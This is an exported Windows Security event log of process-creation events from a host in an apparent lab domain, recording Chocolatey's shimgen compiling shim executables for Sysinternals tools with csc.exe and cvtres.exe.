	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246603
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xec8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x838
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\movefile64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123414_3959\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123414_3959\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_3959\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_3959\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_3959\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246602
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x864
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x838
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246601
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x838
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\movefile64.exe" --output="C:\ProgramData\chocolatey\bin\movefile64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\movefile64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246600
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaf4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESDCBE.tmp" "c:\ProgramData\chocolatey\bin\CSCE5751AC7423440D7AABDAE51DFA65554.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246599
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xec4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246598
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x35c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x44c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\movefile.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123414_1771\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123414_1771\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_1771\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_1771\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_1771\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246597
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x834
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x44c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246596
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x44c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\movefile.exe" --output="C:\ProgramData\chocolatey\bin\movefile.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\movefile.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246595
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa98
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf20
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESDBE4.tmp" "c:\ProgramData\chocolatey\bin\CSCF3019DDBD9D14989834C80E1A9E43BF.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246637
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x57c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246636
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5d8
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pagedfrg.exe" --output="C:\ProgramData\chocolatey\bin\pagedfrg.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pagedfrg.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246635
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf9c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe04
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE356.tmp" "c:\ProgramData\chocolatey\bin\CSC582A59BE7134D0EBCC711F755EFD0.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246634
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb38
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe04
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246633
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe04
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2d8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ntfsinfo64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123415_8646\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123415_8646\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_8646\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_8646\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_8646\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246632
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb44
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2d8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246631
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2d8
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ntfsinfo64.exe" --output="C:\ProgramData\chocolatey\bin\ntfsinfo64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ntfsinfo64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246630
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcac
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb28
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE27B.tmp" "c:\ProgramData\chocolatey\bin\CSCECA90888D4FB43CEAF2A7E9ABAAA575.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

